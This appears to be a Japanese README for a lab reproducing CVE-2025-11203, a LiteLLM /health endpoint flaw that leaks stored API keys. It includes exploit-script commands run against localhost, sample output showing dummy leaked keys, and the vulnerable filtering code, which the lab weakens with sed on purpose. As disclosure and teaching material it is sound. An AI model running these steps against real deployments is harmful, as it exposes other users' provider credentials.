LiteLLM (バージョン < 1.63.14) の
/healthエンドポイントはapi_keyパラメータを処理する際に、 機密情報を適切にフィルタリングしていないため、認証済みユーザーが他のモデル設定に保存された API Key を取得できてしまいます。_clean_endpoint_data()関数で削除されるべきapi_keyフィールドが、一部のコードパスで漏洩します。
| Field | Value |
|---|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| Affected | LiteLLM < 1.63.14 |
| Fixed | v1.63.14+ (_clean_endpoint_data() 全面適用) |
| Published | 2025-10-29 |
| Discovered by | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Reported to vendor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
LiteLLM の /health エンドポイントは、設定されたすべてのモデルのヘルスステータスを返します。通常、_clean_endpoint_data() 関数はヘルスチェック応答から機密フィールド(api_key、x-api-key など)を削除する必要があります。
しかし、v1.63.14 以前では、このクリーンアップ関数が一部のコードパスで実行されていないか、不完全に実行されており、その結果、モデル設定内の API Key がヘルスチェック応答で平文で返されてしまいます。
| エンドポイント | メソッド | 説明 |
|---|---|---|
/health | GET | すべてのモデルのヘルスステータスを返す |
/health/liveliness |
認証済みユーザーはヘルスチェックインターフェースを介して以下を取得できます:
# 1. 脆弱な LiteLLM を起動
docker compose up -d
# 2. 依存関係をインストール
pip install -r requirements.txt
# 3. エクスプロイトスクリプトを実行
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 完全な応答を表示
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (オプション)修正バージョンを確認
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
注意: ステップ1は約60秒かかります。LiteLLMが各アップストリームモデルをプローブするためです(ダミーキーのため各接続がタイムアウトします)。漏洩したキーは
unhealthy_endpointsの下に表示されます。ダミーキーは実際にOpenAI/Anthropicに接続できないためです。
修正バージョンでは漏洩が拒否されます:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
脆弱性は litellm/proxy/health_check.py の _clean_endpoint_data() 関数にあり、
ILLEGAL_DISPLAY_PARAMS リストを使用して api_key などの機密フィールドをフィルタリングします:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
このデモでは sed を使用して ILLEGAL_DISPLAY_PARAMS から "api_key" を削除し、/health 応答が元のモデル設定を返すようにしています。これは、クリーンアップ関数が一部のコードパスでバイパスされる状況をシミュレートしています。
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
v1.63.14 で修正され、_clean_endpoint_data() がすべてのヘルスチェックコードパスで正しく呼び出されるようになりました。
/health エンドポイントへのアクセス元を制限する免責事項: このコンテンツは教育目的および許可されたセキュリティテストのみのために提供されています。
| GET |
| 生存確認 |
/health/readiness | GET | 準備完了確認 |